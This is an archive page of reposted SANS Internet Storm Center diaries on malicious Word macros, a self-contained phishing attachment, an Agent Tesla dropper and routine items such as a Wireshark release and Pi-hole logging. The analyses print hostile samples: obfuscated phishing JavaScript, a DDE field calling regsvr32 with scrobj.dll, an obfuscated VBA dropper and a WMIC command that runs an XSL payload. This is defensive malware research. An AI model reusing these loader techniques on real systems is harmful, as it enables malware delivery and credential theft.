Archive for SANS

(Lazy) Sunday Maldoc Analysis, (Mon, Dec 9th)

I received another malicious Word document: with VBA macros and string obfuscation, launching a PowerShell downloader. As classic as they come.

The VBA code is not too long, and the obfuscation is not that hard. It makes a good example for static analysis.

I start the analysis with my tool, this will give me an overview of the streams (including VBA macro streams) contained in the document:

Stream 8 has an M indicator: this stream contains VBA macros. Using option -s 8 to select stream 8, and option –vbadecompressskipattributes to decompress the VBA macros without showing the hidden attributes (usually I just use option -v, since I don’t mind seeing the hidden attributes), I get to see the VBA code:

There’s a Document_Open subroutine: this will be executed once the document is opened and the user has accepted the warning(s). It assigns a different number to three variables, and then calls function besb repeatedly with a number as argument.

These numbers are mostly different. Function besb takes the argument (a number), divides it by 23 and multiplies it with 1. Then it converts the obtained number to a character (chr function), and concatenates it into variable ahiv.
Finally, subroutine Document_Open executes (run) string ahiv.

With this information, I know that the numbers represent a command and that I can obtain that command by dividing each number by 23 and then converting it to a character. Typically, one would write a small custom script to do this, but as I often have to do such conversions, I made my own tool to help with this: takes text as input, extracts the numbers it finds on each line (provided there are at least 3 numbers per line), transforms the numbers according to a given formula, and then converts them to a string.

I will use this to decode the command. First I select all VBA source code lines with function besb using grep. Since identifiers in VBA are not case-sensitive, I use option -i, just in case the malware author was not consistent in his case use for function name besb.

Next, I use to process each number. Since by default, my tool expects 3 numbers per line, and here I have only one number per line, I use option -n 1 to have my tool process each line with 1 number or more.
Each number has to divided by 23: I use expression “n / 23” to achieve this. Here is the complete command:

When I read the characters from top to bottom, I see a command forming: powershell iex …

My final step is to use option -j to join all lines together:

Like I said: a classic example.

Yet, there is something unusual about this document. To be continued …


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Wireshark 3.0.7 Released, (Sun, Dec 8th)

Wireshark version 3.0.7 was released.

It has a vulnerability fix and bug fixes.

The vulnerability in the CMS dissector can be abused to cause a crash: %%cve:2019-19553%%

Didier Stevens
Senior handler
Microsoft MVP


(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Integrating Pi-hole Logs in ELK with Logstash, (Sat, Dec 7th)

I wanted to parse and ingest my Pi-hole DNS logs for a while now in Elasticsearch to be able to analyze them in various ways. I wrote four separate Grok parser for Logstash to send the logs to a ELK stack. I am now able to view and analyze which domains have been Sinkhole by gravity.list or regex.list (custom wildcard lists) and create the necessary dashboards to report on the DNS traffic. This is an example of the output in Discover. In this example, I have filtered out the dns_type: forwarded.

The configuration file can be downloaded here.


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Phishing with a self-contained credentials-stealing webpage, (Fri, Dec 6th)

Phishing e-mails which are used to steal credentials usually depend on user clicking a link which leads to a phishing website that looks like login page for some valid service. Not all credentials-stealing has to be done using a remote website, however.

I recently came across an interesting phishing campaign in which the scammers used a rather novel technique. The e-mail looked like a traditional payment notice phishing with a fairly usual text.

Good Day

Please find attached a copy of your payment notification

Kind Regards,
James Watson

The HTML attachment it carried, however, turned out to be anything but usual. When HTML attachments are used in a credentials-stealing phishing, the HTML code usually either redirects the browser to a fake login page, or it directly loads the fake login page from a source on the internet[1]. This HTML page turned out not to do either of those.

When I opened the 930 kB long file in a text editor, the only text visible at first glance was on the first line:

After it, there were 4735 empty lines followed by a lot of obfuscated JavaScript along with several legitimate and only Base64-encoded JavaScript libraries (e.g. jQuery, Bootstrap,…). Here is a small sample of the obfuscated JavaScript.

function m600(src5){var xwjc,m7hv=Function,z120,mdid,zf2p="NFj:otBH"z]%*,Zv0k4?XEdR9;1JQeIgK&!_yc{iDx) 3up7}w|WS6nr#~s/$nm(@=LVU2T[fPMhCb^r+-.Y8aOt'lq>AG5<",hcbn=zf2p.length,g6j7={cd:""},ue=new m7hv("ret"+"urn unesc"+"ape")(),djkh=new m7hv("x",ue("%74hi%73.c%64+=x")),pcjj=new m7hv("x","y",ue("%72et%75rn%20x.c%68ar%41t(%79)"));for(xwjc=0;xwjc-1){z120-=(xwjc+1)%hcbn;if(z120pHxvXYJ.n-=PX;I%9NQgy? nCc)=Y$lOT?f+?~X/}OtdWFrA!P}#zOtgCdDFr{r+-.H,,Lq7Zd5d i)st>)1}mY1aQtI{/?Mrz~9.;*tYIXfXsrt[@ZJD(na-L!}qw_GlM/c>?C8F$8aOt''k"'s}fNl'R?oS-3TYzKMg-pIb.?KNOjn:~4?XEdR&NiW:5:"n}

Since the JavaScript was over 600k characters long (not counting the legitimate libraries), manual de-obfuscation and analysis of the code was not a realistic option. The next step, therefore, was to take a look at the website in a browser. After opening the file in Chrome in a VM, it became obvious why the script was so large. Unlike most other HTML-based phishing attachments, this one didn’t depend on an external fake login page, but carried the entire thing inside its body.

Although the page was supposed to look like a Microsoft site, the scammers provided a list multiple valid e-mail providers one could use to “log in”.

After a user supplies an e-mail and a password, the page appears to contact the relevant e-mail server.

In reality, however, it sends a HTTP GET request containing credentials specified by the user to a remote web server at hxxp://

Afterwards, an additional request for a phone number and a recovery e-mail is displayed to the user. When that is filled in as well (and sent to the same domain as before, although this time using a HTTP POST), the browser is redirected to a low-quality picture of the supposed invoice (at least I assume that is what it’s supposed to look like) and after a couple of seconds redirected again, this time to either a legitimate Microsoft site or to the domain specified in the recovery e-mail supplied by the user.

Sending user’s credentials to a server and then redirecting their browser to a legitimate site is a fairly common behavior for a phishing page. Although, to add insult to injury, in this case the phishing page not only steals the credentials but also transmits them over the network without any encryption in plain HTTP.

Besides that, the only unusual part of this phishing remains the fact the entire phishing page is delivered as an attachment. My suspicion is that this was intended to bypass security filters and analytics on web proxies (or provided by SafeLinks), but whatever the reason was, the idea is quite intriguing.

Although this isn’t the first phishing campaign with a similar “self-contained” website, this was the first time I came across such a complex HTML phishing attachment, i.e. one, that carried all the libraries and files in one package and didn’t depend on a remote server for anything else than for collecting the stolen credentials.


MD5 – 754860e44426eb50ff73597650d4d4b3
SHA1 – abb8536392fc6a721ae6f5ba7f377eaca3b4ae96    8bf20f30

Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

E-mail from Agent Tesla, (Thu, Dec 5th)

Last Thursday, only a day after Brad wrote a Diary about discovering Agent Tesla sample in Any.Run[1], I found a request for analysis of a suspicious file in my inbox. The file turned out to be the first part of a multi-stage downloader for Agent Tesla and since Brad wrote about what happens after this malware arrives at the target (i.e. data exfiltration using SMTP), I thought that a closer look at what comes before the infection might nicely complete the picture of how the malware operates.

In this campaign, the first stage of the dropper was a file with a DOT extension, sent as an attachment of a phishing e-mail trying to appear as a request for quotation. DOT files are old-type Word templates and since modern Word can still use them and they may contain macros without it being apparent from the extension, they are among the potentially useful file types for macro-based phishing attachments. And since DOT files attached to e-mail messages are nowadays seldom above-board, blacklisting the extension on an e-mail gateway may not be a bad idea to consider.


In this case, however, the DOT file wasn’t a Word document at all, but rather a renamed Rich Text File containing nothing but a DDE[2] call intended to download and run a WSC file, containing the second stage of the downloader, using regsvr32.

{rtf1{field{*fldinst*rtf dDEAUto "c:\winDoWs\SySTEM32\cmD.EXE" "/c regSvR32 -S -n /U -i: SCRObj.dll"}}}


After opening the DOT file in Word, the usual DDE-related message boxes would jump up at the user and, provided the user would press the right buttons, the WSC file would be downloaded and executed.


A WSC (Windows Script Component) file is basically just a script in an XML envelope and although use of this format to spread malicious code is not a new technique[3], it is not overly common either. In the case of the Agent Tesla spreading campaign, the WSC file contained VBscript intended to use  PowerShell to download the Agent Tesla malware itself into the AppData folder as “gifgmimgifg.exe” and then run it.


The final executable of Agent Tesla seemed quite similar to the one Brad found – at first glance, there were only two differences. The first was the use of a different e-mail account to upload stolen data. I recorded the following SMTP stream using Any.Run, as the malware didn’t try to exfiltrate any data from my local VM (probably due to some anti-sandboxing measure, although this is a conjecture on my part – the executable was heavily obfuscated and I didn’t have much time to spend on analyzing it).


The second difference was in the file the malware was disguised as. This version of Agent Tesla was supposed to look (not counting the icon) as RAMMap, a tool which is part of the SysInternals toolkit.


The following chart shows relationships between all the files mentioned in the Diary and under it, you may find all the relevant hashes.
MD5 – ba6cc1cbfa2a9ebb006ad22e0c3585ed
SHA1 – aff5bbd13558d9ada120eed34cef778319e65291

MD5 – d71439df0a524fb1c0c537d9839a8177
SHA1 – 149cbaa8110b153cc69b439b14617a6b8b87af50

MD5 – 8fef6028422a91884c5928f6568e4c80
SHA1 – ccf1e3aa6f60304c4888d2d51e56f01b96f7c842



Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Analysis of a strangely poetic malware, (Wed, Dec 4th)

Although given its name, one might expect this diary to be about the Elk Cloner[1], that is not the case. The malware we will take a look at is recent and much simpler, yet still interesting in its own way.

Couple of days back, we received a request for analysis of a suspicious Word document from Edina, one of our readers. The DOC file was sent to Edina as an attachment of an e-mail, which contained the following text.

Good Afternoon!

Find the attached doc!
Don't hesitate to ask me any further questions.

zip pass 777


Although the sender address was known to Edina, since she didn’t interact with the sender for a couple of years, she was rightly a bit paranoid about opening the attachment. Not wanting to risk her main computer, she tried opening the file on her spare Mac. What greeted her was a blue screen informing her about the need to “Enable content”.

After enabling macros, nothing happened on the Mac. At that point she tried opening the file on a Windows VM, where, after enabling macros, the system started – as Edina wrote to us – “really hogging its resources” and she decided to shut the VM down. Since the behavior of the macro seemed malicious, she wanted to know whether she didn’t compromise her Mac by running it there first.

Given the behavior of the macro, coupled with the fact that malspam uses the “blue screen” trick quite often, it was clear just from the description Edina provided that the file was indeed malicious. But to determine whether it could possibly have a negative impact on a computer running macOS an analysis of the code was in order.

After having a look at the file and dumping the macros (using oledump[2] and olevba[3]), it became clear that the VB code was not only obfuscated, but also contained a lot of nonsensical, yet, if put together, strangely poetic comments, as you may see bellow.

Lamentation supporting
Alcove goods
Informer tools
Biology advertisement significance aggregation
Lets hilarious batteries
Harbour inkjet durability
Spec mauritius bother
Part weblogs shoulder nite power
Google travail soot female
Hygiene affront
Seasonal sharp oc install
Animate introduction fighters summit ultimate
Career warble firemen
Humans antechamber
Jean underworld acquiesce trees
Tart sluts sear
Linguist participate woeful

Although this was not the first time I came across random-looking comments in a malicious code, I don’t think I’ve ever seen ones that reminded me of a poem (even though hardly a good one) before. Originally, the comments were of course spread throughout the macro code, as you may see from the following example of one of three modules (module aWy10) which the DOC contained.

Public Const awBvc5 As Long = 1363 - 1361
Public Const aou8S As String = "c"
Public Const aA3lc As String = ":win"
Public Const aWoLue As String = "dow"
Public Const aoj7m As String = "ste"
Public Const afvBj As String = "mp"
Public Const aMjstx As String = "wm"
Function aQ8dA(ag3Bj9 As String)
Dim aJPgd
aJPgd = Exp(14)
' Lamentation supporting

Set afVdpU = New MSXML2.DOMDocument
Set aSogC8 = afVdpU.createElement("b64")
aSogC8.DataType = "bin.base64"
aSogC8.Text = ag3Bj9
aQ8dA = StrConv(aSogC8.nodeTypedValue, vbUnicode)
Dim aroh3
aroh3 = Exp(10)
' Alcove goods
End Function
Public Sub aXbKPq(aqkDUt, aqiy6, aulyo8)
Dim azkan As Long
Dim aQxSK As Document
Set aQxSK = ActiveDocument
azkan = aQxSK.ActiveWindow.Panes(1).Pages.Count
' Informer tools
aAP5al = aou8S & aA3lc & aWoLue & aoj7m & afvBj
Dim aSROvl
aSROvl = Hex(165)
Set aTcYj = CreateObject("Scripting.FileSystemObject")

Dim azqVKf As Long
azqVKf = ActiveDocument.BuiltinDocumentProperties(wdPropertyPages)
Dim asVSX
For asVSX = 12 To 52
Debug.Print Error(asVSX)
Next asVSX
' Biology advertisement significance aggregation
Set a96yXC = aTcYj.CreateTextFile(aAP5al & "afUsm.xsl", 1)
Dim afQoN As Long
With ActiveDocument
afQoN = .ActiveWindow.Panes(1).Pages.Count
End With
With a96yXC

Dim ac1Ylj As Long
ac1Ylj = ActiveDocument.ActiveWindow.Panes(1).Pages.Count
' Lets hilarious batteries
.Write aqkDUt
End With
End Sub
Function aSuy8()
Set ajk7Y5 = New adIHY
aYsB6 = ajk7Y5.eatmy.Text
Dim aq0NgL As Long
Dim ajCsz2
aq0NgL = 8
ajCsz2 = 49
aZRShz = aq0NgL * ajCsz2
Dim aZPf2
aZPf2 = Fix(5)
' Harbour inkjet durability
aIHUC1 = ajk7Y5.shorts.Text

a4RZD = Not (a4RZD)
aSuy8 = aYsB6 & aIHUC1
End Function

After a little deobfuscation (parts of which you may try out yourself) it became obvious that the macro was supposed to create a XSL file (“c:windowstempafUsm.xsl”) and then execute code inside it using WMI.

"C:WindowsSystem32wbemWMIC.exe" process list /format:"c:windowstempafUsm.xsl"

XSL files (eXtensible Stylesheet Language) files are used to describe how XML contents are to be styled/displayed, which they may do using a script inside them. Although the use of XSL files in this manner by threat actors is nothing new[4], the technique is quite interesting and not as widely used nor as well-known as many others.

Based on contents of the macros, it was obvious that the Mac, which Edina originally used to open the Word document, wasn’t impacted in any negative way as the malicious code was Windows-specific. Even though determining this was the original objective, since the poetic XSL-and-WMI-using malware seemed interesting I decided to continue on with the analysis. Since I don’t like to spend too much time manually deobfuscating code, in order to determine contents of the XSL file dropped by the DOC file, I spun up a VM, let the macros run and took a look at the resulting afUsm.xsl file.

Although the JScript code inside afUsm.xsl was itself obfuscated, since the obfuscation relied mostly on inclusion of many unused variables and dead code, it was much easier to read than the VB code in the original DOC file. This time, the obfuscated code also contained no comments (which I felt was a bit of a let down). The code was supposed to download a file from the URL hxxp://, save it as C:WindowsTempaKEjT.exe and then run the resulting EXE file.

Since the URL mentioned above was unfortunately no longer working when I got to analyzing the malware, I can’t be sure what the final payload was, although given the 777 password, the name of the ZIP file and the behavior of the downloader in general, I feel quite confident it was a variant of Ursnif malware (see diary from Brad from yesterday[5] for more details).


MD5 – 30cd9dae692890cd759069838decdc5e
SHA1 – 6c36b413d29cd0e0bab5239f35f4c19e5d98eb0c

MD5 – a82a8840b2dbe8fa5ee9b88c2b58ce77
SHA1 – 774c3f773c4c68e94fa102408490e02bf98e614c



Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 2 of 312 12345...»